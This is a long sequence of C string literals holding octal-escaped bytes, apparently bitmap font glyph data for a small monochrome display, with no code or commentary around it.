"\0\0\0\0\0\0\377\377\377\377\377\377\377\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\0\0" "\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0" "\0\0\0\0\0\0\300\340\360\370\374\376\377\377\177\77\77\37\37\37\17\17\17\37\37\37\77\177\377\377\376\374" "\370\360`\0\370\377\377\377\377\377\177\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\3" "\1\0\0\0\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\360\360\360\360\360\360\360" "\360\360\360\0\177\377\377\377\377\377\376\340\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\377\377\377" "\377\377\377\0\0\3\17\37\77\177\377\377\377\376\374\370\360\360\340\340\340\340\340\340\340\340\360\360\370\377\377\377" "\377\377\177\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\17\7\7\7\7\7\3\3\3\1\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300" "\300\300\300\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\0\377\377\377\377\377\377\377\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\77\377\377\377\377" "\377\377\377\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7" "\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\0\0\0\0\0\0\0\0\17\17\17\17\17\17\17\17\377\377\377\377\377\377\377\17\17\17\17\17\17\17\17\17" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\340\340\340\340\340\340\340\340\340\377\377\377\377\377\377\377\340\340\340\340\340\340\340\340\340" "\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\300\300\0\0\0\0\0\0\0\0\0\0\17\17\17\17\17\17\17\17\377\377\377\377\377\377\377\17\17\17\17" "\17\17\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0 p\370\376\377\374\370\360\340\340\340\340\340\340\360\370\377\377\377\377\377\77\37\3\0\0\0\0" "\0\0\0\0\0\0\0\1\3\3\7\7\7\7\7\17\7\7\7\7\7\3\1\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300\300" "\300\300\300@\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\200\300\360\370\374\376\377\377\177\77\37\17" "\7\1\0\0\377\377\377\377\377\377\377\0\0\200\300\360\370\374\376\377\377\177\77\17\7\3\1\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377~\77\37\77\377\377\377\377\371\360\340\200\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\1\7\17\77\177\377\377\377\376\370\360\340\200\0\0\0" "\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\1\3\17\37\77\377\377\377\377\376\370" "\360\300\200\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\7\7\7" "\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340" "\340\340\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300" "\300\300\300\300\377\377\377\377\377\377\377\376\370\340\200\0\0\0\0\0\0\0\0\0\0\0\300\360\374\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\37\177\377\377\376\370\340\0\0\0\0\300\360\374\377\377\177\37\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\0\0\1\7\37\177\377\377\374\374\377\377\177\37\7\1\0\0\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\1\7\7\7\7\1\0\0\0\0\0\0\377\377\377" "\377\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\377\377\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7" "\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300" "\300\300\300\300\377\377\377\377\377\377\377\377\376\370\340\300\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\7\37\77\377\377\377\374\360\340\200\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\0\0\0\0\3\17\77\177\377\377\376\370\340\300\0\0\0\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\1\7\37\177\377\377\377\374\360\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\377\377\377\377\377" "\377\377\377\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\7\7" "\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0" "\0\0\0\0\0\0\300\340\370\374\376\376\377\377\177\77\37\37\37\17\17\17\37\37\77\77\177\377\377\376\374\374" "\360\340\300\0\374\377\377\377\377\377\377\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\77\377\377" "\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377" "\377\377\377\377\177\377\377\377\377\377\376\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\360\377\377" "\377\377\377\377\0\1\7\37\77\177\377\377\377\376\370\370\360\340\340\340\340\340\340\340\360\370\374\376\377\377\377\177" "\77\37\7\1\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\17\7\7\7\7\3\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\17\17\17\17\17\17\17\17\17\17\37\37\37\77\177\377\377\377\376\374" "\370\360\200\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\301\377\377\377\377" "\377\377\177\0\0\377\377\377\377\377\377\377\374\374\374\374\374\374\374\374\374\374\374\376\376\377\177\177\177\77\37\17" "\7\3\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0" "\0\0\0\0\0\0\300\340\370\374\376\376\377\377\177\77\37\37\37\17\17\17\37\37\77\77\177\377\377\376\374\370" "\360\340\200\0\374\377\377\377\377\377\377\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\77\377\377" "\377\377\377\376\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377" "\377\377\377\377\377\377\377\377\377\377\376\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\360\377\377" "\377\377\377\377\0\3\17\77\177\377\377\377\377\374\370\360\340\340\340\300\300\300\340\340\360\360\370\376\377\377\177\77" "\37\7\3\0\0\0\0\0\0\0\1\3\3\7\7\17\17\377\377\377\377\377\377\317\207\207\7\3\1\0\200\200" "\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\37\37\77\77\77\77\77\77\77\77\77" "\77\77\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\17\17\17\17\17\17\17\17\17\17\37\37\37\77\177\377\377\377\376\374" "\370\340\200\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\341\377\377\377\377" "\377\377\77\0\0\377\377\377\377\377\377\377\374\374\374\374\374\374\374\374\374\374\374\376\376\377\177\177\77\77\37\17" "\7\1\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\1\7\17\77\377\377\377\377\374\360\340\200\0" "\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\377\377\377\377\376" "\370\340\200\0\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\7\7" "\7\7\7\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0" "\0\0\0\0\0\0\200\360\370\374\376\377\377\377\77\77\37\37\37\17\17\17\37\37\37\77\177\377\377\376\376\374" "\70\20\0\0\0\0\37\177\377\377\377\377\377\370\340\300\200\200\0\0\0\0\0\0\0\0\0\0\3\3\1\0" "\0\0\0\0\0\0\0\0\1\3\3\7\17\17\37\37\77\77\177\177~\376\376\374\374\370\370\360\360\340\340\300" "\200\0\0\0\0\0\0\0\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\7\17\377\377\377\377" "\377\376\370\0\0\70~\377\377\377\376\374\370\360\360\340\340\340\340\340\340\340\340\360\360\370\374\376\377\377\377\177" "\77\37\3\0\0\0\0\0\1\1\3\3\3\7\7\7\7\7\7\17\7\7\7\7\7\7\3\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\300\300\300\17\17\17\17\17\17\17\17\17\17\17\17\377\377\377\377\377\377\377\17\17\17\17\17\17\17\17\17" "\17\17\17\17\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300" "\300\300\300\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377" "\377\377\377\0\1\17\77\177\377\377\377\377\374\370\360\360\340\340\340\340\340\340\340\360\360\370\376\377\377\377\377\177" "\37\17\1\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\7\17\7\7\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300" "\300\300\300\300\37\377\377\377\377\377\376\360\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\360\376\377\377" "\377\377\77\7\0\0\3\37\377\377\377\377\377\374\340\0\0\0\0\0\0\0\0\0\0\340\374\377\377\377\377\177" "\17\1\0\0\0\0\0\0\0\7\77\377\377\377\377\377\370\300\0\0\0\0\200\360\377\377\377\377\177\17\3\0" "\0\0\0\0\0\0\0\0\0\0\0\1\7\77\377\377\377\377\376\360\340\374\377\377\377\377\37\3\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17\177\377\377\377\377\377\377\77\7\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\7\7\7\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200" "\300\300\300\300\377\377\377\377\377\340\0\0\0\0\0\0\0\300\374\376\376\376\360\200\0\0\0\0\0\0\300\377" "\377\377\377\377\177\377\377\377\377\377\360\0\0\0\0\300\374\377\377\377\377\377\377\377\370\200\0\0\0\300\377\377" "\377\377\377\17\0\37\377\377\377\377\377\374\0\340\376\377\377\377\37\3\7\77\377\377\377\377\370\300\340\377\377\377" "\377\377\3\0\0\0\7\377\377\377\377\377\377\377\377\377\37\1\0\0\0\0\3\77\377\377\377\377\377\377\377\377" "\77\0\0\0\0\0\0\1\177\377\377\377\377\377\37\1\0\0\0\0\0\0\0\0\3\77\377\377\377\377\377\17" "\0\0\0\0\0\0\0\0\0\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\7\7\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300\300" "\300\300\300\0\0\3\17\77\177\377\377\377\376\370\340\200\0\0\0\0\0\0\0\200\340\370\376\377\377\377\177\37" "\7\3\0\0\0\0\0\0\0\1\7\37\77\377\377\377\377\374\360\300\360\370\376\377\377\377\177\37\7\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\303\377\377\377\377\377\377\377\377\377\303\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\340\360\374\377\377\377\377\77\17\3\17\77\177\377\377\377\376\370\340\300\0\0" "\0\0\0\0\0\300\340\370\376\377\377\377\177\77\17\3\0\0\0\0\0\0\0\1\7\37\77\377\377\377\377\374" "\370\340\200\0\7\7\7\7\7\7\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\7\7" "\7\7\7\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300" "\300\300\300\300\7\37\177\377\377\377\377\374\360\300\0\0\0\0\0\0\0\0\0\0\0\300\360\376\377\377\377\377" "\77\17\3\0\0\0\0\1\7\37\177\377\377\377\377\374\360\300\0\0\0\200\360\374\377\377\377\377\77\17\3\0" "\0\0\0\0\0\0\0\0\0\0\0\1\7\37\77\377\377\377\377\374\376\377\377\377\177\17\3\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\300\0\0\0\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\317\357\377\377\377\377\377\77" "\37\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\370\376\377\377\377\177\37\7\3\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\370\376\377\377\377\177\37\7\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\300\360\370\376\377\377\377\177\37\17\3\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\360\370\376\377\377\377\377\377\357\343\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340" "\340\360\360\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374" "\374\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\370\370\370\370\370\370\370\370\370\370\370\370\370\370\370\370" "\370\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1" "\1\0\0\0\0\20p\370\370\374\374\370\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\3\17\77\377\377\377\377\376\370\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\3\17\77\377\377\377\377\376\370\340\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\37\177\377\377\377\377\374\360\300\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\37\177\377\377\377\377\374\360\300\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\37\377\377\377\377\377\370\340" "\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\37\37\17\17" "\7\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\370\370\370\370\370\370\370\370\370\370\370\370\370\370\370\370\377\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\370\376\377\377\177\377\377\377\374\370\340\200\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\360\370\376\377\377\177\37\17\3\1\0\0\3\17\77\177\377\377\377\374\360\300\200" "\0\0\0\0\0\0\0\0\1\1\3\3\3\1\0\0\0\0\0\0\0\0\0\0\0\1\7\3\3\1\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340" "\340\340\340\340\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\7\7\0\0\0\0\0\0\374\360\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\377\377\376\374\360\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\3\17\37\177\377\377\377\377\377\370\200\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\77\177\177\77\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\340\340\360\370\370\370\374\374\374\374\374\376\374\374\374\374\374\374\370\370\360\360\340\300" "\200\0\0\0\0\0\0\0\1\3\7\7\203\201\201\200\300\300\300\300\300\300\300\300\301\301\307\377\377\377\377\377" "\377\374\0\0\300\360\370\374\376\376\377\377\77\77\37\37\37\37\37\17\17\17\17\17\17\17\17\377\377\377\377\377" "\377\377\0\0\37\77\377\377\377\377\377\374\360\360\340\340\340\340\340\340\340\360\360\370\374\376\377\377\377\377\377\377" "\377\377\0\0\0\0\0\1\1\3\3\7\7\7\7\17\17\7\7\7\7\7\3\3\1\1\0\7\7\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\370\370\370\370\370\370\370\30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\340\360\360\370\374\374\374\374\374\374\374\374\374\374\370\370\360\360\340\300" "\0\0\0\0\0\377\377\377\377\377\377\377\37\7\3\1\0\0\0\0\0\0\0\1\3\7\17\177\377\377\377\377" "\377\374\360\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377" "\377\377\377\0\0\377\377\377\377\377\377\377\377\374\360\360\340\340\340\340\340\340\340\360\360\370\376\377\377\377\177\77" 